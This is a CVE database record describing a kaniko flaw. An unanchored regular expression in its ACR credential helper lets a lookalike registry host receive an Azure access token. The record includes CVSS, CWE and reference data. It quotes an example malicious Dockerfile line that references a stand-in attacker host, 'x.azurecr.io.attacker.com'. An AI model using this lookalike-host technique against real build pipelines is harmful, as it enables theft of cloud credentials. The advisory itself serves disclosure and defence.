← Back to CVE Explorer

CVE-2026-105769

Full vulnerability record from the local CVENow database.

Description

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

Severity
CRITICAL
CVSS score
9.3 (v3.1)
Vulnerability status
Received
Source identifier
82cea9a6-e9e3-46fe-bdb0-3673de380178
Published
2026-11-02 17:17:32.670000
Last modified
2026-11-02 17:17:32.670000
View original CVE JSON
{
  "id": "CVE-2026-105769",
  "sourceIdentifier": "82cea9a6-e9e3-46fe-bdb0-3673de380178",
  "published": "2026-11-02T17:17:32.670",
  "lastModified": "2026-11-02T17:17:32.670",
  "vulnStatus": "Received",
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20."
    }
  ],
  "affected": [
    {
      "source": "82cea9a6-e9e3-46fe-bdb0-3673de380178",
      "affectedData": [
        {
          "vendor": "chainguard-forks",
          "product": "kaniko",
          "defaultStatus": "unaffected",
          "collectionURL": "https://pkg.go.dev",
          "packageName": "github.com/chainguard-dev/kaniko",
          "programFiles": [
            "third_party/docker-credential-acr-env"
          ],
          "repo": "https://github.com/chainguard-forks/kaniko",
          "versions": [
            {
              "version": "0",
              "lessThan": "1.25.20",
              "versionType": "semver",
              "status": "affected"
            }
          ]
        }
      ]
    }
  ],
  "metrics": {
    "cvssMetricV31": [
      {
        "source": "82cea9a6-e9e3-46fe-bdb0-3673de380178",
        "type": "Secondary",
        "cvssData": {
          "version": "3.1",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
          "baseScore": 9.3,
          "baseSeverity": "CRITICAL",
          "attackVector": "NETWORK",
          "attackComplexity": "LOW",
          "privilegesRequired": "NONE",
          "userInteraction": "REQUIRED",
          "scope": "CHANGED",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "availabilityImpact": "NONE"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.8
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "timestamp": "2026-11-02T17:11:54.176517Z",
          "id": "CVE-2026-105769",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "version": "2.0.3"
        }
      }
    ]
  },
  "weaknesses": [
    {
      "source": "82cea9a6-e9e3-46fe-bdb0-3673de380178",
      "type": "Secondary",
      "description": [
        {
          "lang": "en",
          "value": "CWE-346"
        },
        {
          "lang": "en",
          "value": "CWE-522"
        }
      ]
    }
  ],
  "references": [
    {
      "url": "https://github.com/chainguard-forks/kaniko/pull/495",
      "source": "82cea9a6-e9e3-46fe-bdb0-3673de380178"
    },
    {
      "url": "https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20",
      "source": "82cea9a6-e9e3-46fe-bdb0-3673de380178"
    },
    {
      "url": "https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97",
      "source": "82cea9a6-e9e3-46fe-bdb0-3673de380178"
    },
    {
      "url": "https://github.com/chrismellard/docker-credential-acr-env/issues/21",
      "source": "82cea9a6-e9e3-46fe-bdb0-3673de380178"
    },
    {
      "url": "https://pkg.go.dev/vuln/GO-2026-6225",
      "source": "82cea9a6-e9e3-46fe-bdb0-3673de380178"
    }
  ]
}